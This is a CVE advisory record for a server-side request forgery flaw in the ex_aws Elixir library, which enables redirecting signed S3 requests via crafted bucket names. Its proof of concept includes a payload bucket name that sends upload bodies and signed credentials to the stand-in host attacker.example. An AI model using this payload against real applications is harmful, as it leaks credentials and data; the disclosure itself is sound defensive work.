{"containers":{"cna":{"affected":[{"collectionURL":"https://repo.hex.pm","cpes":["cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"],"defaultStatus":"unaffected","modules":["'Elixir.ExAws.Operation.S3'"],"packageName":"ex_aws","packageURL":"pkg:hex/ex_aws","product":"ex_aws","programFiles":["lib/ex_aws/operation/s3.ex"],"programRoutines":[{"name":"'Elixir.ExAws.Operation.S3':add_bucket_to_path/2"}],"repo":"https://github.com/ex-aws/ex_aws","vendor":"ex-aws","versions":[{"lessThan":"2.8.0","status":"affected","version":"2.1.7","versionType":"semver"}]},{"collectionURL":"https://github.com","cpes":["cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"],"defaultStatus":"unaffected","modules":["'Elixir.ExAws.Operation.S3'"],"packageName":"ex-aws/ex_aws","packageURL":"pkg:github/ex-aws/ex_aws","product":"ex_aws","programFiles":["lib/ex_aws/operation/s3.ex"],"programRoutines":[{"name":"'Elixir.ExAws.Operation.S3':add_bucket_to_path/2"}],"repo":"https://github.com/ex-aws/ex_aws","vendor":"ex-aws","versions":[{"lessThan":"a878943be6def16ffbee6bb9e11d90db1dc904f8","status":"affected","version":"557d3438a7e739a25c1ccc1876a5b636793f20ba","versionType":"git"}]}],"configurations":[{"lang":"en","supportingMedia":[{"base64":false,"type":"text/html","value":"<p>Reachable only when the S3 client is configured with <code>virtual_host: true</code> and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected.</p>"},{"base64":false,"type":"text/markdown","value":"Reachable only when the S3 client is configured with `virtual_host: true` and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected."}],"value":"Reachable only when the S3 client is configured with virtual_host: true and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected."}],"cpeApplicability":[{"nodes":[{"cpeMatch":[{"criteria":"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*","versionEndExcluding":"2.8.0","versionStartIncluding":"2.1.7","vulnerable":true}],"negate":false,"operator":"OR"}],"operator":"AND"}],"credits":[{"lang":"en","type":"finder","value":"Peter Ullrich"},{"lang":"en","type":"reporter","value":"Peter Ullrich"},{"lang":"en","type":"analyst","value":"Jonatan Männchen / EEF"},{"lang":"en","type":"coordinator","value":"Peter Ullrich"},{"lang":"en","type":"remediation developer","value":"Bernard Duggan"}],"dateAssigned":"2026-11-24T12:04:08.000Z","datePublic":"2026-11-24T12:17:33.000Z","descriptions":[{"lang":"en","supportingMedia":[{"base64":false,"type":"text/html","value":"<p>Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application's signed S3 requests to a host of their choice.</p>\n<p>With <code>virtual_host: true</code>, <code>ExAws.Operation.S3.add_bucket_to_path/2</code> in <code>lib/ex_aws/operation/s3.ex</code> builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as <code>attacker.example/x?</code> turns the request URL into <code>https://attacker.example/x?.s3.amazonaws.com/key</code>, so the request is signed for and sent to <code>attacker.example</code>. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With <code>bucket_as_host: true</code> the bucket is the whole hostname, so any valid hostname redirects the request.</p>\n<p>This issue affects ex_aws: from 2.1.7 before 2.8.0.</p>"},{"base64":false,"type":"text/markdown","value":"Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application's signed S3 requests to a host of their choice.\n\nWith `virtual_host: true`, `ExAws.Operation.S3.add_bucket_to_path/2` in `lib/ex_aws/operation/s3.ex` builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as `attacker.example/x?` turns the request URL into `https://attacker.example/x?.s3.amazonaws.com/key`, so the request is signed for and sent to `attacker.example`. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With `bucket_as_host: true` the bucket is the whole hostname, so any valid hostname redirects the request.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."}],"value":"Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application's signed S3 requests to a host of their choice.\n\nWith virtual_host: true, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as attacker.example/x? turns the request URL into https://attacker.example/x?.s3.amazonaws.com/key, so the request is signed for and sent to attacker.example. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With bucket_as_host: true the bucket is the whole hostname, so any valid hostname redirects the request.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."}],"impacts":[{"capecId":"CAPEC-664","descriptions":[{"lang":"en","supportingMedia":[{"base64":false,"type":"text/html","value":"<p>An attacker who can choose the bucket name receives the application's signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected.</p>"},{"base64":false,"type":"text/markdown","value":"An attacker who can choose the bucket name receives the application's signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected."}],"value":"An attacker who can choose the bucket name receives the application's signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected."}]}],"metrics":[{"cvssV4_0":{"Automatable":"NOT_DEFINED","Recovery":"NOT_DEFINED","Safety":"NOT_DEFINED","attackComplexity":"LOW","attackRequirements":"PRESENT","attackVector":"LOCAL","baseScore":5.9,"baseSeverity":"MEDIUM","privilegesRequired":"NONE","providerUrgency":"NOT_DEFINED","subAvailabilityImpact":"NONE","subConfidentialityImpact":"NONE","subIntegrityImpact":"NONE","userInteraction":"NONE","valueDensity":"NOT_DEFINED","vectorString":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","version":"4.0","vulnAvailabilityImpact":"NONE","vulnConfidentialityImpact":"HIGH","vulnIntegrityImpact":"LOW","vulnerabilityResponseEffort":"NOT_DEFINED"},"format":"CVSS","scenarios":[{"lang":"en","value":"GENERAL"}]}],"problemTypes":[{"descriptions":[{"cweId":"CWE-918","description":"CWE-918 Server-Side Request Forgery","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-11-24T12:17:35.415Z","orgId":"6b3ad84c-e1a6-4bf7-a703-f496b71e49db","shortName":"EEF"},"references":[{"name":"Virtual-host bucket name controls the request host in ExAws.Operation.S3.add_bucket_to_path/2","tags":["vendor-advisory","related"],"url":"https://github.com/ex-aws/ex_aws/security/advisories/GHSA-rcv9-2jx2-63xh"},{"name":"EEF CNA record for CVE-2026-120720","tags":["related"],"url":"https://cna.erlef.org/cves/CVE-2026-120720.html"},{"name":"OSV record EEF-CVE-2026-120720","tags":["related"],"url":"https://osv.dev/vulnerability/EEF-CVE-2026-120720"},{"name":"Introducing commit 557d343 in ex-aws/ex_aws","tags":["related"],"url":"https://github.com/ex-aws/ex_aws/commit/557d3438a7e739a25c1ccc1876a5b636793f20ba"},{"name":"Fix commit a878943 in ex-aws/ex_aws","tags":["patch"],"url":"https://github.com/ex-aws/ex_aws/commit/a878943be6def16ffbee6bb9e11d90db1dc904f8"}],"solutions":[{"lang":"en","supportingMedia":[{"base64":false,"type":"text/html","value":"<p>Upgrading rejects bucket names containing characters that can change the request host. With <code>bucket_as_host: true</code>, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with <code>bucket_as_host: true</code> must also set the <code>bucket_as_host_allowlist</code> S3 config option to the list of trusted hostnames.</p>"},{"base64":false,"type":"text/markdown","value":"Upgrading rejects bucket names containing characters that can change the request host. With `bucket_as_host: true`, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with `bucket_as_host: true` must also set the `bucket_as_host_allowlist` S3 config option to the list of trusted hostnames."}],"value":"Upgrading rejects bucket names containing characters that can change the request host. With bucket_as_host: true, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with bucket_as_host: true must also set the bucket_as_host_allowlist S3 config option to the list of trusted hostnames."}],"source":{"discovery":"EXTERNAL"},"title":"S3 bucket name controls the request host in ex_aws virtual-host requests","x_proofOfConcept":[{"lang":"en","supportingMedia":[{"base64":false,"type":"text/html","value":"<ol>\n<li>Configure ex_aws for S3 with <code>virtual_host: true</code>.</li>\n<li>Build an upload with an attacker-chosen bucket name: <code>ExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body)</code>.</li>\n<li><code>add_bucket_to_path/2</code> sets the host to <code>attacker.example/x?.s3.amazonaws.com</code>, and <code>ExAws.Request.Url.build/2</code> renders <code>https://attacker.example/x?.s3.amazonaws.com/report.pdf</code>.</li>\n<li><code>ExAws.Auth</code> signs the <code>host</code> header as <code>attacker.example</code>, and hackney connects to <code>attacker.example:443</code> with path <code>/x</code> and query <code>.s3.amazonaws.com/report.pdf</code>.</li>\n<li>Running the operation with <code>ExAws.request/2</code> delivers the signed request, including the upload body and <code>Authorization</code> header, to <code>attacker.example</code>.</li>\n</ol>"},{"base64":false,"type":"text/markdown","value":"1. Configure ex_aws for S3 with `virtual_host: true`.\n2. Build an upload with an attacker-chosen bucket name: `ExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body)`.\n3. `add_bucket_to_path/2` sets the host to `attacker.example/x?.s3.amazonaws.com`, and `ExAws.Request.Url.build/2` renders `https://attacker.example/x?.s3.amazonaws.com/report.pdf`.\n4. `ExAws.Auth` signs the `host` header as `attacker.example`, and hackney connects to `attacker.example:443` with path `/x` and query `.s3.amazonaws.com/report.pdf`.\n5. Running the operation with `ExAws.request/2` delivers the signed request, including the upload body and `Authorization` header, to `attacker.example`."}],"value":"* Configure ex_aws for S3 with virtual_host: true.\n* Build an upload with an attacker-chosen bucket name: ExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body).\n* add_bucket_to_path/2 sets the host to attacker.example/x?.s3.amazonaws.com, and ExAws.Request.Url.build/2 renders https://attacker.example/x?.s3.amazonaws.com/report.pdf.\n* ExAws.Auth signs the host header as attacker.example, and hackney connects to attacker.example:443 with path /x and query .s3.amazonaws.com/report.pdf.\n* Running the operation with ExAws.request/2 delivers the signed request, including the upload body and Authorization header, to attacker.example."}],"x_technicalAnalysis":[{"lang":"en","supportingMedia":[{"base64":false,"type":"text/html","value":"<p><strong>1. Host construction.</strong> In the <code>virtual_host: true</code> clause of <code>ExAws.Operation.S3.add_bucket_to_path/2</code>, the request host becomes <code>\"#{bucket}.#{host}\"</code>. In the <code>virtual_host: true, bucket_as_host: true</code> clause it becomes the bucket name itself. Neither clause checks the bucket name.</p>\n<p><strong>2. URL rendering and re-parsing.</strong> <code>ExAws.Request.Url.build/2</code> places the host verbatim into a <code>%URI{}</code> and renders it with <code>URI.to_string/1</code>, which does not validate the host. Downstream code re-parses the string: <code>ExAws.Auth.headers/6</code> signs <code>URI.parse(url).authority</code>, <code>ExAws.Request.Url.sanitize/2</code> splits on the first <code>?</code>, and hackney's <code>parse_url/1</code> (or <code>URI.parse/1</code> for the Req adapter) resolves the host. For the bucket <code>attacker.example/x?</code> all of them see the host <code>attacker.example</code>, the path <code>/x</code> and the query <code>.s3.amazonaws.com/key</code>.</p>\n<p><strong>3. Signed request to the attacker.</strong> The HTTP adapter connects to <code>attacker.example</code> and sends the fully signed request: the object body on uploads, the <code>Authorization</code> header with the access key id and SigV4 signature, and <code>x-amz-security-token</code> when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker's host, so it cannot be replayed against AWS.</p>"},{"base64":false,"type":"text/markdown","value":"**1. Host construction.** In the `virtual_host: true` clause of `ExAws.Operation.S3.add_bucket_to_path/2`, the request host becomes `\"#{bucket}.#{host}\"`. In the `virtual_host: true, bucket_as_host: true` clause it becomes the bucket name itself. Neither clause checks the bucket name.\n\n**2. URL rendering and re-parsing.** `ExAws.Request.Url.build/2` places the host verbatim into a `%URI{}` and renders it with `URI.to_string/1`, which does not validate the host. Downstream code re-parses the string: `ExAws.Auth.headers/6` signs `URI.parse(url).authority`, `ExAws.Request.Url.sanitize/2` splits on the first `?`, and hackney's `parse_url/1` (or `URI.parse/1` for the Req adapter) resolves the host. For the bucket `attacker.example/x?` all of them see the host `attacker.example`, the path `/x` and the query `.s3.amazonaws.com/key`.\n\n**3. Signed request to the attacker.** The HTTP adapter connects to `attacker.example` and sends the fully signed request: the object body on uploads, the `Authorization` header with the access key id and SigV4 signature, and `x-amz-security-token` when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker's host, so it cannot be replayed against AWS."}],"value":"1. Host construction. In the virtual_host: true clause of ExAws.Operation.S3.add_bucket_to_path/2, the request host becomes \"#{bucket}.#{host}\". In the virtual_host: true, bucket_as_host: true clause it becomes the bucket name itself. Neither clause checks the bucket name.\n\n2. URL rendering and re-parsing. ExAws.Request.Url.build/2 places the host verbatim into a %URI{} and renders it with URI.to_string/1, which does not validate the host. Downstream code re-parses the string: ExAws.Auth.headers/6 signs URI.parse(url).authority, ExAws.Request.Url.sanitize/2 splits on the first ?, and hackney's parse_url/1 (or URI.parse/1 for the Req adapter) resolves the host. For the bucket attacker.example/x? all of them see the host attacker.example, the path /x and the query .s3.amazonaws.com/key.\n\n3. Signed request to the attacker. The HTTP adapter connects to attacker.example and sends the fully signed request: the object body on uploads, the Authorization header with the access key id and SigV4 signature, and x-amz-security-token when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker's host, so it cannot be replayed against AWS."}]}},"cveMetadata":{"assignerOrgId":"6b3ad84c-e1a6-4bf7-a703-f496b71e49db","assignerShortName":"EEF","cveId":"CVE-2026-120720","datePublished":"2026-11-24T12:17:35.415Z","dateReserved":"2026-11-24T09:53:42.363Z","dateUpdated":"2026-11-24T12:17:35.415Z","state":"PUBLISHED"},"dataType":"CVE_RECORD","dataVersion":"5.2"}